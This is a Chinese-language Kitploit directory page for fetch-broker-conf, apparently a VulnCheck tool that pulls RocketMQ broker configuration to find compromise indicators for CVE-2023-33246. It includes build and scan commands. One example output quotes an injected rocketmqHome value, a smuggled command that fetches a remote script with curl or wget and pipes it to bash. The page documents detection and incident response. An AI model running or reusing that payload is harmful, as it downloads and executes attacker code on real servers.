Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
fetch-broker-conf — 一个用于获取RocketMQ broker配置以发现CVE-2023-33246入侵指标的go-exploit | Kitploit
工具/GitHubGitHub/vulncheck-oss/fetch-broker-conf
危害指标 (IOC) 管理漏洞分析漏洞利用信息收集渗透测试事件响应
GitHubvulncheck-oss/fetch-broker-conf

fetch-broker-conf

一个用于获取RocketMQ broker配置以发现CVE-2023-33246入侵指标的go-exploit

查看仓库
512年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

Fetch Broker 配置

Fetch Broker 配置将尝试下载 RocketMQ 的 broker 配置,以搜寻 rocketmqHome 变量中的入侵指标。该变量被多种攻击者利用,通过 CVE-2023-33246 执行代码。更多详情,请参阅 VulnCheck 博客。

编译

您可以使用 makefile 构建 Docker 容器:

root@kitploit:~
make docker

或者,如果您已经准备好了 Go 构建环境,可以直接使用 make:

root@kitploit:~
albinolobster@mournland:~/fetch-broker-conf$ make
gofmt -d -w main.go
golangci-lint run --fix main.go
GOOS=linux GOARCH=arm64 go build -o build/main_linux-arm64 main.go

用法

该工具基于 go-exploit 构建,因此有多种方式提供扫描目标。完整描述可在项目的 扫描文档 中找到。不过,以下是一些示例:

扫描单个主机

root@kitploit:~
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhost 10.9.49.143 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
  "time": "2023-09-05T05:27:48.567836165-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
  "host": "10.9.49.143",
  "port": 10911
}

扫描多个主机

root@kitploit:~
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts 10.9.49.143,10.9.49.150 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
  "time": "2023-09-05T05:34:27.505747211-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
  "host": "10.9.49.143",
  "port": 10911
}
{
  "time": "2023-09-05T05:34:27.802345043-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
  "host": "10.9.49.150",
  "port": 10911
}

使用代理扫描文件中的主机

go-exploit 允许通过提供的目标 CSV 文件进行扫描,CSV 格式为:host, port, anything if ssl is enabled(不过如果使用了 -a 参数,SSL 字段将被忽略)。它还支持通过代理进行扫描。命令如下(注意:-a 是 SSL 自动检测):

root@kitploit:~
albinolobster@mournland:~/rocketmq-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts-file /tmp/rocketmq.csv -proxy socks5://127.0.0.1:9050 -log-json true 2>/dev/null | jq 'select(.msg == "Extracted the variable")'
{
  "time": "2023-08-31T13:45:35.781849255-04:00",
  "level": "SUCCESS",
  "msg": "Extracted the variable",
  "rocketmqHome": "-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- x.x.x.x/rm.sh)|bash;",
  "host": "x.x.x.x",
  "port": 10909
}
下载工具